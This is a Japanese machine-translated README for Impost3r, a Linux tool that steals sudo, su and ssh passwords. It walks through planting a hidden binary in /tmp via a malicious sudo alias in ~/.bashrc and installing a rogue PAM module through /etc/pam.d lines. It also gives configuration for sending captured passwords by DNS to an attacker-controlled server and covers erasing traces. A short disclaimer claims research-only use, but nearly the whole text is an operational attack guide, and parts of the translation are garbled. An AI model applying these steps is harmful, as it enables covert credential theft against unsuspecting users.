英語
Impost3r は C 言語で書かれたツールで、Linux 上でさまざまなパスワード (ssh、su、sudo) を盗むために使用されます。
ユーザーはこのプログラムを使用して水飲み場を作成し、正規ユーザーのパスワードを盗むことができます。
このツールは安全性の研究と教育のみを目的としており、ユーザーはこのツールの使用に起因するすべての法的および関連する責任を負います。 著者は法的および関連する責任を一切負いません。
行動の痕跡を自動的に消去
DNSプロトコル経由で結果を転送
ユーザーは無関心
gcc
Impost3r は、sudo、su、ssh サービスを含むパスワードを盗むために使用できます。これら 3 つのサービスは、sudo と ssh/su の 2 つのカテゴリに大別されます。以下に 2 つのケースに分けて説明します。
通常のユーザー権限のみが必要であり、root は必要ありません。ただし、盗むことができるのは該当ユーザーのパスワードだけであり、他のユーザーのパスワードを盗むことはできません。
まず、攻撃者が通常のユーザー権限でサーバーを制御していると仮定します。
.bash_profile
ファイルがユーザーのルート ディレクトリに存在するかどうかを確認します。 .bash_profile
が存在する場合は、 .bashrc
が.bash_profile
ファイルにアクティブにロードされているかどうかを確認します。アクティブにロードされている場合は、この手順と次の 2 つのチェックをスキップして、次の手順に進みます。アクティブにロードされていない場合、次の 2 つのチェック手順はスキップされ、以下の.bashrc
のすべての操作が.bash_profile
の操作に置き換えられます。 .bash_profile
が存在しない場合: に進みます。チェックの次のステップ。
.bash_login
ファイルがユーザーのルート ディレクトリに存在するかどうかを確認します。 .bash_login
が存在する場合は、 .bashrc
が.bash_login
ファイルにアクティブにロードされているかどうかを確認します。アクティブにロードされている場合は、この手順と次のチェックをスキップして、後続の操作を続行します。そうでない場合は、このステップと次のステップをスキップし、次のチェックをスキップし、以下の.bashrc
の操作に置き換えます.bash_login
.bash_login
が存在しない場合: に進みます。次のチェック。
.profile
ファイルがユーザーのルート ディレクトリに存在するかどうかを確認します。 .profile
ファイルが存在する場合は、 .bashrc
が.profile
ファイルにアクティブにロードされているかどうかを確認します (デフォルトでロードされています)。後続の操作は、アクティブにロードされていない場合、以下の.bashrc
のすべての操作が.profile
の操作に置き換えられます。 ; .profile
が存在しない場合、原則として Impost3r は使用できません。もちろん、状況に応じて.bash_profile
ファイルを生成するか、 .profile
ファイルを生成するかを決定し、同様の読み込みコードを記述することもできます。それに続いて.bashrc
をロードします
if [ -n "$BASH_VERSION" ]; then # include .bashrc if it exists if [ -f "$HOME/.bashrc" ]; then . "$HOME/.bashrc" fi fi
ユーザーの.bashrc
のコピー : cp ~/.bashrc /tmp/
をコピーし、このコピーを攻撃者のカスタマイズしたパスに配置します (この例では、 /tmp/ ディレクトリに配置されており、攻撃者はそれを変更できます)
ユーザーのルート ディレクトリの.bashrc
(~/.bashrc) を変更し、最後の行に次のステートメントを追加します (「/tmp/.impost3r」は以下の FILENAME と一致している必要があります)。
alias sudo='impost3r() { if [ -f "/tmp/.impost3r" ]; then /tmp/.impost3r "$@" && unalias sudo else unalias sudo;sudo "$@" fi }; impost3r'
追加が完了したら、ファイルを保存し、 source ~/.bashrc
を実行します。
次に、攻撃者は Impost3r ソース コード/sudo/main.h
変更する必要があります。
/* Custom setting */ # define FILENAME "/tmp/.impost3r" 设置Impost3r在目标服务器上的位置 # define BACKUP_ORI_FILENAME ".bashrc" 表明攻击者所备份的源用户配置文件是.bashrc还是.bash_profile、.profile、.bash_login # define BACKUP_ORI_PATH "/tmp/.bashrc" 表明攻击者所备份的源用户配置文件在目标服务器上的位置 # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数 # define RESEND_INTERVAL 5 设置每一次发送密码的间隔 # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.cache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
変更が完了したら、カレントディレクトリに保存してmake
実行します。
現在のディレクトリにあるコンパイル済みの.impost3r
ファイルを取得します。
.impost3r
ファイルをターゲット サーバーの/tmp/
フォルダーにアップロードします (予期しないエラーを防ぐために、ターゲット サーバー上でコンパイルを試みます) (単なる例です。ファイルの定義と同じであれば、自分で変更できます)。ソースコード)
攻撃者は自分のサーバー上で DNS サーバー プログラムを起動し、正規のユーザーがsudo
使用してパスワードを取得するのを待ちます。
sudo パスワードを盗む場合、Impost3r は成功後に自動的に痕跡を消去するため、攻撃者が手動で消去する必要はありません。
Impost3r は、ユーザーが入力したパスワードが正しいかどうかを自動的に判断し、ユーザーが正しいパスワードを入力して痕跡を消去するまでプロセスは終了しません。
Impost3r を使用する前に、 sudo -v
使用して、現在のユーザーがsudoer
グループに属しているかどうかを確認してください。そうでない場合は、Impost3r を使用しないでください。
ssh/su パスワードの盗用は、上記の sudo パスワードの盗用および悪用方法とは異なりますが、root 権限が必要であり、あらゆるユーザーのパスワードを盗むことができます。
以下では、Centos を例として説明します。使用されるファイルとファイルの変更方法は異なる場合があります。
まず、攻撃者がサーバーを制御していると仮定します。
権限昇格操作を通じて root 権限を取得しました (または、素敵な管理者が root 権限でサービスを開始しました)
まず、Impost3r の/ssh_su/main.h
ソース コード ファイルを編集します。
/* Custom setting */ # define SSH_OR_BOTH 0 设置偷取模式,0代表仅偷取ssh密码,1代表偷取ssh及su密码,默认为0(后面会讲到区别) # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数(仅当SSH_OR_BOTH为0,此选项才有效) # define RESEND_INTERVAL 5 设置每一次发送密码的间隔(仅当SSH_OR_BOTH为0,此选项才有效) # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.sshsucache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
変更が完了したら、カレントディレクトリに保存してmake
実行します。
コンパイルされたファイルimpost3r.so
を取得します。
コンパイル済みのimpost3r.so
ターゲット マシンの/lib/x86_64-linux-gnu/security
にアップロードします (予期しないエラーを防ぐため、ターゲット サーバー上でコンパイルしてください) (マシンごとにフォルダ名が異なる場合があります。状況) )
/etc/pam.d
と入力します。この時点で 2 つの状況が考えられます。選択したモードが ssh パスワードのみを盗むことである場合は、 vi sshd
を実行し、ファイルの最後に次のステートメントを追加する必要があります。ここでは、Ubuntu を除いて、Linux システムのこのファイルに基づいたものは Ubuntu とはまったく異なる可能性があることに注意してください。ルールを自分で読み、適切な場所に追加することをお勧めします。
auth optional impost3r.so account optional impost3r.so
保存して終了し、sshd サービスを再起動します。 service sshd restart
ssh パスワードと su パスワードを一緒に盗むことを選択した場合は、 vi common-auth
を実行し、同じステートメントを追加し、保存して終了し、sshd サービスも再起動する必要があります。
攻撃者は自分のサーバー上で DNS サーバー プログラムを起動し、正規のユーザーがssh
使用してターゲット マシンにログインするか、 su
使用してユーザーを切り替えてパスワードを取得するのを待ちます。
ssh/su パスワードを盗む場合、Impost3r は権限上の理由によりトレースをクリアできないため、攻撃者は自分でトレースをクリアする必要があります。
SSH パスワードのみを盗むように設定した場合、基本的に攻撃者は盗まれた結果を 100% 受け取ることが保証されますが、両方を同時に盗むように設定した場合、必ずしも盗まれることが保証されないことに注意してください。攻撃者は盗難の結果を受け取ります (DNS に送信する場合に設定されている場合のみ、ローカルに保存するように設定しても影響を受けません)
su パスワードを盗むことはお勧めできません。ユーザーの ssh パスワードは su パスワードと同じであるため、su パスワードを盗めない場合は、ssh パスワードを盗まないでください。
デフォルトでは、空のパスワードは盗まれません。ユーザーが空のパスワードを持っているかどうかを確認してください (sshd 構成ファイルにPermitEmptyPasswords yes
があるかどうかを確認してください。空の場合はゴーストのままです)。
Dns サーバー プログラムに Fdns を使用し、いくつかのパラメーターを変更しました。変更されたソース コードは Fdns フォルダーにあります。gcc gcc -o dns main.c util.c
コマンドを使用して自分でコンパイルしてください (変更する必要があることに注意してください)。 main.cの最初のリスニングポート)
Fdns をコンパイルする前に、 util.h
のYOUR_DOMAIN
値をチェックして、この値がサーバーに埋め込まれた Impost3r プログラムのコンパイル時に使用されるYOUR_DOMAIN
値と一致していることを確認してください。そうでない場合、盗難は失敗する可能性があります。
このプログラムは暇なときにのみ開発および研究されています。機能にバグがある可能性がありますので、ご容赦ください。フィードバックを歓迎します。
f
libbaseencode